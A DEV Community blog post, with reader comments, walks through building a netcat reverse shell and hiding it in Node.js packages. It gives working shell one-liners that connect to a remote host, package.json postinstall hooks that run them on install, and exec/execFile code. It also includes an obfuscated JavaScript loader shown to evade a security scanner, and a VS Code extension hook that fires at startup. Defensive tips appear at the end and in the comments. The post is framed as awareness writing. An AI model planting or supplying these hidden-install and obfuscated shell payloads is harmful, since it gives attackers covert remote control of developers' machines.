DEV Community

Cover image for Gaining remote access to a computer with a reverse shell attack in Node.js
Charlie Gerard
Charlie Gerard

Posted on

Gaining remote access to a computer with a reverse shell attack in Node.js

Originally posted on my blog

I recently learnt what a reverse shell is and got excited to experiment running this kind of attack via a Node.js module. This post will go through my thought process and the different options I tried.

⚠️ Important notes ⚠️

  • I am writing this blog post for educational purposes only. Running a reverse shell attack on someone without their approval is illegal; my only motivation is to share knowledge and raise awareness so people can protect themselves.
  • I am not taking any responsibility for how you decide to use the information shared in this post.

What is a reverse shell?

A reverse shell is a tool that allows a computer to have remote access to another one. It can be very useful if you want to transfer files between multiple computers, or if you want to access information you need that is stored on another computer and network. However, it can also be used to run attacks in which a victim unknowingly initiates a remote shell connection to an attacker's system, allowing the attacker to have nearly complete access to their system.

If you think about shell commands you might be familiar with such as ls to list a directory's files, pwd to show the path to the current directory or nano to edit the content of files; a reverse shell allows an attacker to run these commands on a target's system without them knowing.

How to create a reverse shell

A common tool to execute a reverse shell is called netcat. If you're using macOS, it should be installed by default. You can check by running nc -help in a terminal window.

Using a private IP address on a local network

You can run a simple example of reverse shell between two computers on the same network.

On the first computer, start two listeners on different ports, for example, one on port 80 and the other on port 53.

# Command tested on macOS, the path to netcat is different on other OS
/usr/bin/nc -l 80
Enter fullscreen mode Exit fullscreen mode
/usr/bin/nc -l 53
Enter fullscreen mode Exit fullscreen mode

The flag -l starts netcat on listening mode, so it will listen to traffic happening on these two ports.

On the second computer, run the following command:

nc <first-computer-IP-address> 80 | /bin/sh | nc <first-computer-IP-address> 53
Enter fullscreen mode Exit fullscreen mode

This command initiates a connection to the first computer on the two ports specified above, and indicates that any command received on port 80 should be executed as a bash command and send the result to port 53.

Below is an example of this code working. As a second computer, I have a Raspberry Pi set up in my apartment, connected to the same network as my laptop. In the terminal, I ssh into the Pi in the first pane. The second and third pane start the listeners on port 80 and 53.
When the listeners are ready, I run the netcat command in the Pi. From there, I'm able to access its file system from my laptop. I run commands such as ls, whoami and pwd in the terminal window listening on port 80 and the result shows in the third pane on the far right. I'm also able to change the name of a file from test.js to index.js.

GIF demo showing how I am running a reverse shell on a Raspberry Pi and access it from my laptop

You can imagine how useful this tool is, for example, if you want to transfer files easily between two computers on the same network.

Using a public IP address

In the example above, I showed how to create a reverse shell between computers on the same network, however, when running this as an attack to gain access to a victim's computer, both devices will probably be connected to different networks so the code above won't work.

Indeed, the code sample shown in the previous section uses the device's private IP address on my local network. This private IP address cannot be accessed from outside my home network.

To be able to use a public IP address, I've decided to use Linode to create a virtual machine (VM), that both the target and attacker will connect to.

Once the VM finished spinning up, I replaced the private IP address from the code above, with the public IP address of the VM.
For the purpose of this post, let's imagine this IP address is 10.10.10.10.

From my laptop, I connect to my VM using the following command:

ssh root@10.10.10.10
Enter fullscreen mode Exit fullscreen mode

From there, similar commands from the ones shown in the previous section can be run.

nc -l 80 -s 10.10.10.10
Enter fullscreen mode Exit fullscreen mode
nc -l 53 -s 10.10.10.10
Enter fullscreen mode Exit fullscreen mode

The additional -s is used to indicate the source IP address, so the VM's public IP address.

Then, on the target's computer, the following command needs to be run:

nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;
Enter fullscreen mode Exit fullscreen mode

The additional disown is used to run the program continuously in the background and exit 0 is used to terminate it so the terminal does not look like the program is still executing (even though it is).

Once these commands are run, I have access to the second computer's system no matter if it is inside or outside of my home network.

So now, how can we get a target to run this?

Running a reverse shell in a Node.js module

A few weeks ago I wrote a post about how to run a ransomware attack in a Node.js module, and in the same spirit, I explored a few different ways to run a reverse shell attack using the same medium.

postinstall

One way to run this would be to take advantage of the postinstall attribute of a module's package.json file. This command runs right after a package has finished installing so it wouldn't even require the target to import and use it.

This could be done in two ways, first, by running the command directly:

"scripts": {
    "postinstall": "nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | exit 0;"
},
Enter fullscreen mode Exit fullscreen mode

Or running the command in a separate JavaScript file:

"scripts": {
    "postinstall": "node index.js"
},
Enter fullscreen mode Exit fullscreen mode

Even though using postinstall would work, it may look quite obvious if a user decided to look at the source code before installing the package, especially if the command is run directly, so the package could get flagged quickly.

If postinstall is running a JS file, it might look less obvious, but how would it start the reverse shell?

Using exec or execFile

To run this command in a JS file, you can use exec and execFile.

exec executes the command passed to the function:

const { exec } = require("child_process");

exec("nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;")

process.exit(0);
Enter fullscreen mode Exit fullscreen mode

execFile executes a file, for example script.sh:

const { execFile } = require("child_process");

execFile("bash", ["script.sh"], () => {})

process.exit(0);
Enter fullscreen mode Exit fullscreen mode

This shell script would contain the netcat command:

#!/bin/bash
nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;
Enter fullscreen mode Exit fullscreen mode

It can either be added as a file in the repository or fetched from another source, to avoid attracting attention.

As soon as the reverse shell is set up, an attacker can steal, delete or encrypt files, install tools, and much more.

The solutions shown above are picked up by security tools such as Socket, that flags the use of potentially insecure code such as exec and execFile.

Screenshot of the Socket UI showing a warning that the module accesses the system shell.

So, what are ways to hide more efficiently this kind of attack?

Ways to hide a reverse shell

There's a few ways I could think about doing this, some of them involve technical solutions, and others involve thinking more about the context in which people use Node.js modules.

File obfuscation (and minification?)

Security tools are getting better at flagging potential insecure code in Node.js modules, however, once obfuscated, it becomes a lot harder to know if a piece of code contains vulnerabilities.

As an example. here's what the obfuscated JavaScript of the exec implementation looks like:

function _0x3994(_0x565d93, _0x46b188) { const _0x1edb91 = _0x1edb(); return _0x3994 = function (_0x39942b, _0x46c9b8) { _0x39942b = _0x39942b - 0x7f; let _0x45df05 = _0x1edb91[_0x39942b]; return _0x45df05; }, _0x3994(_0x565d93, _0x46b188); } const _0x14c021 = _0x3994; function _0x1edb() { const _0x315a4c = ['3456290MInyns', '144422gpQMch', '582536EjKPYz', 'nc\x20192.168.4.32\x2080\x20|\x20/bin/sh\x20|\x20nc\x20192.168.4.32\x2053\x20|\x20disown\x20|\x20exit\x200;', 'child_process', '4931696ptslNj', '892792JPSbno', '1315ymqHPE', 'exit', '18xLEENc', '847KPUPMs', '6036cCpfRb', '17700Neccgv', '3QTYiZY']; _0x1edb = function () { return _0x315a4c; }; return _0x1edb(); } (function (_0x9e95f2, _0x2951fb) { const _0x37d8ea = _0x3994, _0x2bcaca = _0x9e95f2(); while (!![]) { try { const _0x55a257 = parseInt(_0x37d8ea(0x86)) / 0x1 + parseInt(_0x37d8ea(0x8b)) / 0x2 * (-parseInt(_0x37d8ea(0x84)) / 0x3) + -parseInt(_0x37d8ea(0x82)) / 0x4 * (-parseInt(_0x37d8ea(0x8c)) / 0x5) + -parseInt(_0x37d8ea(0x83)) / 0x6 * (-parseInt(_0x37d8ea(0x81)) / 0x7) + parseInt(_0x37d8ea(0x87)) / 0x8 * (-parseInt(_0x37d8ea(0x80)) / 0x9) + -parseInt(_0x37d8ea(0x85)) / 0xa + parseInt(_0x37d8ea(0x8a)) / 0xb; if (_0x55a257 === _0x2951fb) break; else _0x2bcaca['push'](_0x2bcaca['shift']()); } catch (_0x151b06) { _0x2bcaca['push'](_0x2bcaca['shift']()); } } }(_0x1edb, 0x63d54)); const { exec } = require(_0x14c021(0x89)); exec(_0x14c021(0x88)), process[_0x14c021(0x7f)](0x0);
Enter fullscreen mode Exit fullscreen mode

This code still works but isn't flagged anymore. You could imagine that a package author could hide this code in a minified version of their package and advise people to use that one for improved performance.

I also tested this by minifying the original code, which is still humanly-readable. Here's the result:

const{exec:exec}=require("child_process");exec("nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;"),process.exit(0);
Enter fullscreen mode Exit fullscreen mode

By default, if the file "index.min.js" is not specified as the exported file in the "main" field of the package.json, Socket does not flag any issue. However, once changed to "index.min.js", the security issues are shown in the UI.

Screenshot of the Socket UI showing a warning that the minidifed code of the module accesses the system shell.

VSCode extension

Even though VSCode extensions are NPM packages, the way users install them is via the VSCode editor, so it is likely that people use the ease of a one-click install without checking the extension's code first. Extensions may go through a security check before being publicly available, however some attacks have been run via extensions.

When creating an extension, you can specify when you'd like the code to run, including anytime the editor is launched. To do so, you can specify the value * or onStartupFinished as activationEvents. This would call the activate function that can be modified to run the reverse shell by adding a single line of code:

exec("nc 192.168.4.29 81 | /bin/sh | nc 192.168.4.29 53 | disown | exit 0;")
Enter fullscreen mode Exit fullscreen mode

To try this out, I created a small "Hello World" extension following the official documentation. I added the line shown above in the activate function, ran the extension in the Extension Development Host window and activated it. Below is the result showing how I gained access to my personal laptop from my RaspberryPi.

I am not sure what kind of security process extensions go through before being publicly available but it is also possible for developers to make their extensions available via GitHub instead of the VSCode Marketplace. This way, even if this extension was rejected for security reasons, an attacker might still try to make it available by instructing users to install it manually.

Electron app

Electron applications are also written in Node.js and can be installed without checking the source code first.
Looking at this list of Electron apps, it is easy to imagine how one could create a small productivity app with a hidden reverse shell.

How can people protect themselves?

One of the interesting aspects of experimenting with this, is to think about ways people can protect themselves from these types of attacks.

So far, here are a few options I can think of:

  • Use one of the many security tools available and pay attention to their warnings.
  • Check the source code of open-source tools before installing and using them.
  • Run your projects in a virtual machine or online sandbox such as CodeSandbox, StackBlitz, Github CodeSpaces
  • To check for reverse shell attacks specifically, you can run the ps command in your terminal to check the current processes running, and terminate any that looks suspicious.
  • When using a minified version of a NPM package, make sure it does not include some unexpected code by copying the non-minifed version of the tool, minifying it yourself and comparing the results.
  • A way to stop the connection established by a reverse shell could be to turn your computer off/on, however, if hidden in a package you use often, the connection would restart anytime you use that package.

Some of these solutions may sound a bit impractical but depending on the risk you're willing to take, it is definitely something worth thinking about.

Conclusion

There are probably more ways to run a reverse shell than the ones I explored here but I hope this post gave you a better understanding of what a reverse shell is, how to create one and raised some awareness of the risks associated with using open-source packages.

Discussion (11)

Collapse
jmau111 profile image
jmau111 • Edited on

nice post @devdevcharlie, I think people need protection at multiple levels. Reverse shells can be hidden in various resources and written in various languages.

It's particularly efficient, as firewalls won't block outgoing connections, most of the time. If you are in corporate environment, software and user restrictions are strongly recommended.

Reverse shells are hard to detect and stop, but there are good practices. So far, the following approach helps:

  • block unused ports
  • turn off all services, software, features you don't use
  • monitor outgoing traffic, especially for shell commands
  • vulnerability scans + pen-tests, as it happens after initial access
  • security awareness and training to mitigate phishing
Collapse
pyrsmk profile image
Aurélien Delogu • Edited on

It's really difficult to review every dependency or dependency's dependencies to be sure that their code is not compromised.

So, I would add to some other good practices to prevent attacks: dockerize your application. By default you only open the ports for your actual services and you have better control on your environment. Aside of that, you can add a firewall to block any outbound connection other than the ones you want.

But, anyway, the major risk comes from your git repo. Since it's your truth source for your code, it needs to be clean. And to accomplish that you need strong rules and automatic actions to ensure that everything is OK in each PR. And, of course, signing your commits should be mandatory otherwise anyone can commit code on behalf of your name.

Collapse
mehdi_kernel profile image
Kernel 🏴‍☠️

To protect from this kind of attack I use : objective-see.org/products/lulu.html (for mac)
It's an outbound firewall = means that it's a firewall scanning outgoing traffic. This way you can choose what you want to allow and what to disallow (by IP or by application).
For example if you use npm, you can choose to allow node to request data from "npm" when you install things or to allow node to request and send data to your server, and disallow every other IP.
This way, you don't let the attacker "call home".

Collapse
ajoslin103 profile image
allen joslin

To see what ports are open on my Mac I use this script

#!/bin/bash
lsof -i -P | grep -i "listen"
Enter fullscreen mode Exit fullscreen mode

that list is usually small.

also if you have your firewall on (which you should) then the Mac will ask you if such-and-such should be allowed to listen for connections.

if I were asked if such&such should accept network connections while I was installing a package -- I'd say NO, delete the package, and post a note warning people.

Cheers!

Al;

Collapse
lirantal profile image
Liran Tal

I like seeing you posting more and more about application security, Charlie. Keep it up 🙌

Collapse
andrewbaisden profile image
Andrew Baisden

Wow, this surprised me a good read.

Collapse
chema profile image
José María CL

omg

Collapse
latobibor profile image
András Tóth

This is quite sobering! I have another angle over it: how come that running this command has absolutely no sudo prompts? It's an OS level security problem as well.

Collapse
hseritt profile image
Harlin Seritt

Why would you not use scp and be done with it?

Collapse
7ovo7 profile image
Marco Colonna

Im interested how to prevent this in my installation.

Collapse
ethand91 profile image
Ethan

Nice! :)
Would love to try this out in my own virtual environment.